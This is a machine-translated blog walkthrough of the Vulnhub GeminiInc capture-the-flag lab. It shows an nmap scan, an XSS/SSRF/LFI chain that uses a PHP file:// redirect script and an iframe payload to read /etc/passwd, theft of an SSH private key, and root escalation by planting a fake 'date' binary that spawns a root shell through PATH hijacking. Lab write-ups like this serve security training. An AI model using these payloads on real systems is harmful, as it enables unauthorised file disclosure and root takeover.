当前位置:网站首页>Vulnhub geminiinc
Vulnhub geminiinc
2022-07-03 11:47:00 【Plum_ Flowers_ seven】
Catalog
Two 、 Service version detection
3、 ... and 、 information gathering
6、 ... and 、 information gathering
7、 ... and 、 Combined boxing XSS+SSRF+LFI
8、 ... and 、 Read gemini Private key
2.ssh Public private key login
1. /usr/bin/listinfo File analysis
11、 ... and 、 The system command file is forged
2. Modify environment variables
One 、 The host found
Half open scan
nmap -sS ip
Two 、 Service version detection

3、 ... and 、 information gathering
1. Unable to load
80 The resources of the port cannot be loaded normally , Because I have been visiting Google Some sites of , Hang a ladder to visit .

2. The main page
The source code address is given to us

3. Source code
View one by one , stay install Under the folder [email protected]

4. Try signing in
Successfully logged in , There are more functions in the upper left corner 
Four 、 Analysis function
1.export Output pdf

2.edit profile Edit the file
The information we modify will be displayed intact on the information board . There is no filter at the user name ,

5、 ... and 、 Storage type xss
Not enough to help us break through the border

6、 ... and 、 information gathering
1.export Output
We found an application in document attributes . It's just one. html turn pdf Application .

7、 ... and 、 Combined boxing XSS+SSRF+LFI
After searching , We can know that these three vulnerabilities exist in this application component . Through the combination of vulnerabilities , To read local files .
1. Local open apache service
systemctl start apache2
cd /var/www/html
sudo vim 1.php
Create a 1.php file
write in :
<?php
$file = $_GET['file'];
header("location:file://$file");2. Inject payload
<iframe src="http://ip/1.php?file=/etc/passwd" width="100%" height=1220></iframe>
3.export Trigger
Successfully read /etc/passwd file . You can see gemini Can pass shell Sign in

8、 ... and 、 Read gemini Private key

Save to kali On

2.ssh Public private key login
Successfully logged in

Nine 、find Information search
find / -type f -user root -perm -u+xs -ls 2>/dev/null

Ten 、 Binary file view
1. /usr/bin/listinfo File analysis
strings /usr/bin/listinfo
Content :
The core code is these sentences , Called the system command

2. The implementation of

11、 ... and 、 The system command file is forged
1. newly build date file
vim date.c

Content :
#include<sys/types.h>
#include<unistd.h>
#include<stdlib.h>
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
}2. Modify environment variables
First look at the front , Then look from the back
export PATH=/tmp:$PATH
3. perform listinfo
Mention right to success

Get flag.txt
边栏推荐
- Kubernetes 三打探针及探针方式
- vulnhub之momentum
- 2022 northeast four provinces match VP record / supplementary questions
- uniapp scroll view 解决高度自适应、弹框滚动穿透等问题。
- 外插散点数据
- R语言使用aggregate函数计算dataframe数据分组聚合的均值(sum)、不设置na.rm计算的结果、如果分组中包含缺失值NA则计算结果也为NA
- ArcGIS应用(二十一)Arcmap删除图层指定要素的方法
- Use typora to draw flow chart, sequence diagram, sequence diagram, Gantt chart, etc. for detailed explanation
- uniapp实现点击加载更多
- rxjs Observable filter Operator 的实现原理介绍
猜你喜欢

Qt+VTK+OCCT读取IGES/STEP模型

Extrapolated scatter data

(数据库提权——Redis)Redis未授权访问漏洞总结

Slam mapping and autonomous navigation simulation based on turnlebot3

Arctangent entropy: the latest SCI paper in July 2022

(database authorization - redis) summary of unauthorized access vulnerabilities in redis

STL教程9-容器元素深拷贝和浅拷贝问题

Understand go language context in one article

STL教程10-容器共性和使用场景

Hongmeng fourth training
随机推荐
如何将数字字符串转换为整数
R language uses grid of gridextra package The array function combines multiple visual images of the ggplot2 package horizontally, and the ncol parameter defines the number of columns of the combined g
Nestjs配置服务,配置Cookie和Session
简单工厂和工厂方法模式
Use typora to draw flow chart, sequence diagram, sequence diagram, Gantt chart, etc. for detailed explanation
机器学习 3.2 决策树模型 学习笔记(待补)
vulnhub之momentum
STL tutorial 10 container commonalities and usage scenarios
Repo ~ common commands
(数据库提权——Redis)Redis未授权访问漏洞总结
聊聊Flink框架中的状态管理机制
Arctangent entropy: the latest SCI paper in July 2022
Internet socket (non) blocking write/read n bytes
在CoreOS下部署WordPress实例教程
Mmc5603nj geomagnetic sensor (Compass example)
Redis things
How to mix embedded MCU, arm and DSP?
STL教程8-map
Using onvif protocol to operate the device
MySQL searches and sorts out common methods according to time